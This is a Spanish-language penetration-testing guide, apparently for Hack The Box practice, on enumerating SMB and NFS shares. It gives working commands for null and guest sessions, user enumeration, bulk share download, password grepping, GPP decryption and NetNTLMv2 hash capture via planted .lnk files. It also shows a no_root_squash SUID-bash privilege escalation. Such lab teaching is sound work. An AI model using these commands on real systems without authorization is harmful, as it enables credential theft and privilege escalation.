Enumeración SMB y NFS: recursos compartidos, sesión nula y ficheros con contraseñas

Enumerar SMB y NFS con NetExec, smbclient, smbmap y enum4linux-ng, con y sin credenciales: sesión nula, ficheros con contraseñas y no_root_squash.

· 4 min de lectura

En cuanto nmap enseña el 445 abierto, tienes trabajo: los recursos compartidos de Windows (y de Samba en Linux) son de los sitios donde más credenciales aparecen. En el catálogo hay más de 30 máquinas con enumeración SMB/NFS en el camino, desde Active y Cascade hasta Remote con su NFS.

1. Lo primero: qué es y quién eres

nxc smb 10.10.10.10
# SMB 10.10.10.10 445 DC01 [*] Windows Server 2019 x64 (name:DC01) (domain:corp.local) (signing:True) (SMBv1:False)

Una línea te da el nombre de la máquina, el dominio (si aparece uno, lee también la guía de enumeración de Active Directory), la versión de Windows y si exige firma SMB (importante para el NTLM relay).

2. Sin credenciales: sesión nula e invitado

Prueba las tres formas de entrar sin contraseña. Cada servidor acepta una distinta:

# Sesión nula
nxc smb 10.10.10.10 -u '' -p '' --shares
smbclient -N -L //10.10.10.10

# Invitado (cualquier usuario que no exista suele entrar como guest)
nxc smb 10.10.10.10 -u 'guest' -p '' --shares
nxc smb 10.10.10.10 -u 'loquesea' -p '' --shares

# smbmap enseña los permisos de cada recurso
smbmap -H 10.10.10.10 -u null

Si tienes lectura, intenta también sacar usuarios. Con una lista de usuarios ya puedes hacer AS-REP Roasting o password spraying:

nxc smb 10.10.10.10 -u 'guest' -p '' --rid-brute 4000
enum4linux-ng -A 10.10.10.10
rpcclient -U '' -N 10.10.10.10 -c 'enumdomusers'

3. Explorar los recursos

smbclient //10.10.10.10/Datos -N
smb: \> recurse ON
smb: \> prompt OFF
smb: \> ls
smb: \> mget *

# O descárgalo todo de golpe
nxc smb 10.10.10.10 -u 'guest' -p '' -M spider_plus -o DOWNLOAD_FLAG=True
smbget -R smb://10.10.10.10/Datos -U guest%

Qué buscar entre lo descargado:

  • Scripts y configuraciones: .ps1, .bat, .vbs, .config, .xml, .ini. Busca dentro password, pwd, connectionString, cpassword.
  • Groups.xml en SYSVOL: tiene una contraseña de GPP cifrada con una clave pública de Microsoft. gpp-decrypt la descifra al momento (es la entrada de Active; técnica de GPP y GPO).
  • Copias de seguridad: .vhd/.vhdx (discos virtuales: móntalos con guestmount), .zip, .bak, .kdbx (KeePass, crackéalo con la guía de cracking de hashes).
  • Documentos y hojas de cálculo con contraseñas, y los metadatos de los ficheros (exiftool: nombres de usuario de quien los creó).
grep -rniE 'pass(word)?|pwd|cpassword|secret' ./descarga 2>/dev/null

Truco

Un recurso con escritura es más que un sitio donde dejar cosas: si otros usuarios lo abren, un fichero .scf, .url o .lnk que apunta a tu IP te dará su hash NetNTLMv2 (nxc smb ... -M slinky). Lo explica la guía de NTLM relay.

4. Con credenciales

En cuanto tengas un usuario, repite todo: ve más recursos y más información.

nxc smb 10.10.10.10 -u usuario -p 'Contraseña1' --shares --users --groups --pass-pol
nxc smb 10.10.0.0/24 -u usuario -p 'Contraseña1'        # ¿en qué otras máquinas vale? (Pwn3d! = admin local)

Si ves (Pwn3d!), eres administrador en esa máquina: puedes ejecutar comandos (movimiento lateral).

5. NFS

El puerto 2049 (y el 111, rpcbind) indica NFS: carpetas que se montan por red, sin usuario ni contraseña, confiando en el UID del cliente.

showmount -e 10.10.10.10
sudo mount -t nfs -o vers=3,nolock 10.10.10.10:/home /mnt/nfs
ls -lan /mnt/nfs

Dos trucos habituales:

  • Suplantar el UID: si los ficheros pertenecen al UID 1001 y no puedes leerlos, crea en tu equipo un usuario con ese UID (sudo useradd -u 1001 falso && sudo su falso) y léelos.
  • no_root_squash: si /etc/exports (léelo cuando estés dentro) tiene esa opción, lo que crees como root en tu equipo será de root en el servidor. Copia un bash con SUID y ejecútalo desde la máquina:
# En tu equipo, como root, sobre el recurso montado
cp /bin/bash /mnt/nfs/rootbash && chmod +s /mnt/nfs/rootbash
# En la víctima
/ruta/compartida/rootbash -p

Nota

Copia un bash de un sistema parecido al objetivo (o el del propio objetivo): si las versiones de libc no coinciden, el binario no arrancará.

Bonus: SNMP

Si nmap con -sU encuentra el 161/udp, SNMP con la comunidad public suele contar más que SMB: procesos con sus argumentos (a veces con contraseñas), usuarios y software instalado (enumeración SNMP).

snmpwalk -v2c -c public 10.10.10.10
snmpbulkwalk -v2c -c public 10.10.10.10 NET-SNMP-EXTEND-MIB::nsExtendObjects
onesixtyone -c /usr/share/seclists/Discovery/SNMP/snmp.txt 10.10.10.10

Errores típicos

  • NT_STATUS_ACCESS_DENIED con sesión nula pero nxc sí lista: cada herramienta prueba de una manera. Prueba las tres variantes de arriba antes de rendirte.
  • protocol negotiation failed: el servidor solo habla SMBv1. smbclient -L //IP -N --option='client min protocol=NT1'.
  • mount.nfs: access denied: el recurso solo se exporta a ciertas IP. Mira showmount -e: aparecen al lado.

Y después

Con lo que encuentres, sigue la checklist de reconocimiento: prueba las credenciales en todos los servicios (WinRM, MSSQL, SSH) y, si hay dominio, salta a la checklist de Active Directory.

Practícalo en máquinas reales

Máquinas de Hack The Box donde se usa la técnica. Cada ▶ salta al minuto del vídeo de IppSec donde aparece.

Enumeración SMB/NFS 34 máquinas

Ver las 34 máquinas →

Enumeración SNMP 6 máquinas

¿Ves un error o echas algo en falta? Cuéntanoslo